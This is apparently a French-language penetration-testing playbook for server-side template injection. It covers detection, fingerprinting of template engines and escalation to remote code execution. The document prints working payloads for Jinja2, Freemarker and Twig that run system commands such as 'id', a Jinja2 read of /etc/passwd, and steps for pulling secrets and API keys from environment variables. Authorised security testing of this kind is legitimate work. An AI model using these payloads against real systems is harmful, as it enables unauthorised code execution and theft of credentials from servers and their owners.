Que fait ssti-server-side-template-injection ?
Playbook SSTI. À utiliser lorsque des expressions de modèle, un rendu côté serveur, des fonctionnalités de prévisualisation ou des moteurs de template peuvent évaluer du contenu contrôlé par un attaquant.
Objectifs
- Détecter les points d'injection – Trouver où le contenu contrôlé par l'utilisateur est passé dans un moteur de template.
- Confirmer la vulnérabilité – Utiliser une expression mathématique (
7*7) pour observer si une sortie inattendue se produit. - Identifier le moteur (fingerprinting) – Distinguer les piles Python (Jinja2, Mako, Tornado), Java (Freemarker, Velocity), JavaScript (Pug, Handlebars), Ruby (ERB, Slim), et PHP (Smarty, Twig).
- Escalader vers RCE – Exécuter des commandes système, lire des fichiers, ou accéder à des variables sensibles.
- Documenter la preuve de concept (PoC) – Enregistrer les payloads et les sorties pour le rapport.
Workflow
Étape 1 : Détection de base
{{7*7}}
${7*7}
#{{7*7}}
<%=7*7%>
- Si la sortie est
49ou49dans une réponse, une SSTI est probable. - Si la sortie est
{{7*7}}texte brut, pas d'injection.
Étape 2 : Fingerprinting par famille de moteurs
Python (Jinja2 / Mako / Tornado)
{{7*'7'}}
- Jinja2 →
7777777(multiplication de chaîne). - Tornado →
49(évaluation mathématique). - Mako → lève une erreur.
Java (Freemarker / Velocity)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
PHP (Twig / Smarty)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
JavaScript (Pug / Handlebars)
#{"7"*"7"}
Étape 3 : Escalade d'impact
- Lire des fichiers : Utiliser des filtres ou des fonctions de fichier (par exemple
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}). - Exécution de commandes : Explorer l'arbre
__class__,__mro__,__subclasses__pour trouversubprocess.Popenouos.system. - Accéder aux variables d'environnement : Récupérer les secrets, clés API, et configurations.
Exemple de payload Jinja2 RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Considérations importantes
- Blind SSTI : Utiliser les interactions hors bande (OOB) comme les webhooks ou DNS pour confirmer l'exécution.
- Limites de contexte : L'expression peut être échappée (HTML, JavaScript, etc.). Vérifier avec des entités HTML ou des commentaires.
- Contournement de sandbox : Chaque moteur a des mécanismes de sandbox différents. Documenter les bypass réussis.